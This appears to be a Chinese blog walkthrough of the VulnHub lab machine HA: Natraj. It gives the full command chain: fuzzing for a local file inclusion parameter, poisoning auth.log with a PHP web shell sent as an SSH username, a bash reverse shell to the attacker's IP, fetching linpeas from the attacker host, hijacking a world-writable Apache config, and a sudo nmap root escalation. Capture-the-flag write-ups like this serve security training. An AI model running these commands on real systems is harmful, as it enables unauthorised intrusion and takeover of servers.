当前位置:网站首页>vulnhub HA: Natraj
vulnhub HA: Natraj
2022-07-03 04:13:00 【仙女象】
渗透思路:
nmap扫描----dirb扫描网站目录----ffuf爆破url参数----利用auth.log和LFI获得反弹shell----修改/etc/apache2/apache2.conf获得mahakal的shell----sudo nmap提权
环境信息:
靶机:192.168.101.78
攻击机:192.168.101.34
具体步骤:
1、nmap扫描
sudo nmap -sV -sC -p- 192.168.101.78
2、dirb扫描网站目录
dirb http://192.168.101.78扫描到目录http://192.168.101.78/console/

浏览器访问该目录,发现文件file.php

直觉告诉我这里可能有文件包含漏洞
3、ffuf爆破url参数
ffuf -u 'http://192.168.101.78/console/file.php?FUZZ=../../../../etc/passwd' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fs 0其中FUZZ为需要暴力破解的参数名的占位字符串
爆破出参数名file

浏览器访问http://192.168.101.78/console/file.php?file=../../../../etc/passwd
可以看到靶机的/etc/passwd文件内容

4、利用用户认证日志和LFI获得反弹shell
浏览器访问http://192.168.101.78/console/file.php?file=../../../../var/log/auth.log,发现有访问权限
尝试用natraj进行ssh登录,并输入错误的密码(正确密码反正也不知道)
ssh [email protected]然后再用浏览器访问http://192.168.101.78/console/file.php?file=../../../../var/log/auth.log,发现/var/log/auth.log中记录了ssh登录的用户名

所以可以在ssh登录的时候将php代码作为用户名插入,这样php代码就会被写入/var/log/auth.log,而利用网站本地文件包含漏洞包含/var/log/auth.log时就会触发写入的php代码执行。
ssh登录靶机,用户名为"<?php system(\$_GET[xiannv]); ?>",密码随便输
ssh "<?php system(\$_GET[xiannv]); ?>"@192.168.101.78
浏览器访问http://192.168.101.78/console/file.php?file=../../../../var/log/auth.log&xiannv=id
可以得到id命令的执行结果,表明插入的php代码有效

接下来在攻击机上监听8888端口
nc -nlvp 8888然后在浏览器中访问
其中xiannv的参数值url编码前为bash -c 'exec bash -i &>/dev/tcp/192.168.101.34/8888 <&1'
得到反弹shell

5、修改/etc/apache2/apache2.conf获得mahakal的shell
从攻击机中下载linpeas.sh
首先攻击机linpeas.sh所在目录下起http服务,比如
python2 -m SimpleHTTPServer 80然后靶机shell下执行以下命令,下载并执行linpeas.sh,检查可能的提权项
[email protected]:/tmp$ wget http://192.168.101.34/linpeas.sh
[email protected]:/tmp$ chmod +x linpeas.sh
[email protected]:/tmp$ ./linpeas.shlinpeas.sh发现文件权限777的文件/etc/apache2/apache2.conf,该文件是apache2的主配置文件

该文件中的User参数设置实际提供服务的子进程的用户,Group参数设置提供服务的子进程运行时的用户组。
这两个参数原本的值如下,修改这两个参数的值可以在执行步骤4时获得的反弹shell变成其他用户和组。
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}

这边我试了natraj、root、mahakal,只有mahakal可以。
改成natraj虽然可以得到natraj的反弹shell,但natraj没有可以sudo的命令(或者是sudo -l需要密码,忘记是这两个原因中的哪个了-_-|||);
改成root的时候,主页面(http://192.168.101.78)能打开,但是http://192.168.101.78/console/file.php打不开,目前还不知道是什么原因,我自己猜测可能是有什么安全方面的限制。
由于靶机上执行不了vim,所以我把/etc/apache2/apache2.conf复制到攻击机上修改User 和Group 为mahakal,并保存
User mahakal
Group mahakal
靶机上进入/tmp目录,从攻击机下载修改后的apache2.conf,并复制到/etc/apache2/apache2.conf
[email protected]:/tmp$ wget http://192.168.101.34/apache2.conf
[email protected]:/tmp$ cp /tmp/apache2.conf /etc/apache2/apache2.conf
然后我本来想重启apache2的,但是www-data用户似乎没有这方面的权限,退而求其次重启系统,但www-data用户也没有这方面的权限,只能在vmware上重启虚拟机了
重启后重复一遍步骤4中获得反弹shell的操作,得到mahakal的反弹shell。
执行sudo -l,发现mahakal可以sudo执行nmap命令

6、sudo nmap提权
在GTFOBins上查到nmap可以sudo提权
根据网站的指示依次输入如下命令
[email protected]:/var/www/html/console$ TF=$(mktemp)
[email protected]:/var/www/html/console$ echo 'os.execute("/bin/bash")' > $TF
[email protected]:/var/www/html/console$ sudo nmap --script=$TF获得root用户的shell

找到proof:/root/root.txt

边栏推荐
- CVPR 2022 | 大連理工提出自校准照明框架,用於現實場景的微光圖像增强
- 国产PC系统完成闭环,替代美国软硬件体系的时刻已经到来
- sd卡数据损坏怎么回事,sd卡数据损坏怎么恢复
- [set theory] set concept and relationship (set family | set family examples | multiple sets)
- 2022 electrician (Advanced) examination papers and electrician (Advanced) examination skills
- Deep dive kotlin synergy (19): flow overview
- China Mobile Internet of things oneos and onenet were selected in the list of 2021 Internet of things demonstration projects
- [set theory] set operation (Union | intersection | disjoint | relative complement | symmetric difference | absolute complement | generalized union | generalized intersection | set operation priority)
- 『期末复习』16/32位微处理器(8086)基本寄存器
- Basic syntax of class
猜你喜欢

毕设-基于SSM宠物领养中心

What is pytorch? Is pytorch a software?

2022-07-02:以下go语言代码输出什么?A:编译错误;B:Panic;C:NaN。 package main import “fmt“ func main() { var a =

2022 Shandong Province safety officer C certificate examination questions and Shandong Province safety officer C certificate simulation examination question bank

Mila, University of Ottawa | molecular geometry pre training with Se (3) invariant denoising distance matching

MPLS setup experiment

Two points -leetcode-540 A single element in an ordered array

2022 tea master (primary) examination questions and tea master (primary) examination question bank

JS realizes lazy loading of pictures

Interaction free shell programming
随机推荐
What is the correct way to compare ntext columns with constant values- What's the right way to compare an NTEXT column with a constant value?
Mila、渥太华大学 | 用SE(3)不变去噪距离匹配进行分子几何预训练
【毕业季·进击的技术er】职场人的自白
Intercept string fixed length to array
Arlo's thinking about himself
2022 Shandong Province safety officer C certificate examination questions and Shandong Province safety officer C certificate simulation examination question bank
How to execute a swift for in loop in one step- How can I do a Swift for-in loop with a step?
How to connect WiFi with raspberry pie
CVPR 2022 | Dalian Technology propose un cadre d'éclairage auto - étalonné pour l'amélioration de l'image de faible luminosité de la scène réelle
redis 持久化原理
MongoDB 慢查询语句优化分析策略
Dismantle a 100000 yuan BYD "Yuan". Come and see what components are in it.
学会pytorch能干什么?
Sklearn data preprocessing
Is pytorch open source?
【刷题篇】接雨水(一维)
Js/ts bottom implementation double click event
[fairseq] 报错:TypeError: _broadcast_coalesced(): incompatible function arguments
Application of I2C protocol of STM32F103 (read and write EEPROM)
[mathematical logic] predicate logic (judge whether the first-order predicate logic formula is true or false | explain | example | predicate logic formula type | forever true | forever false | satisfi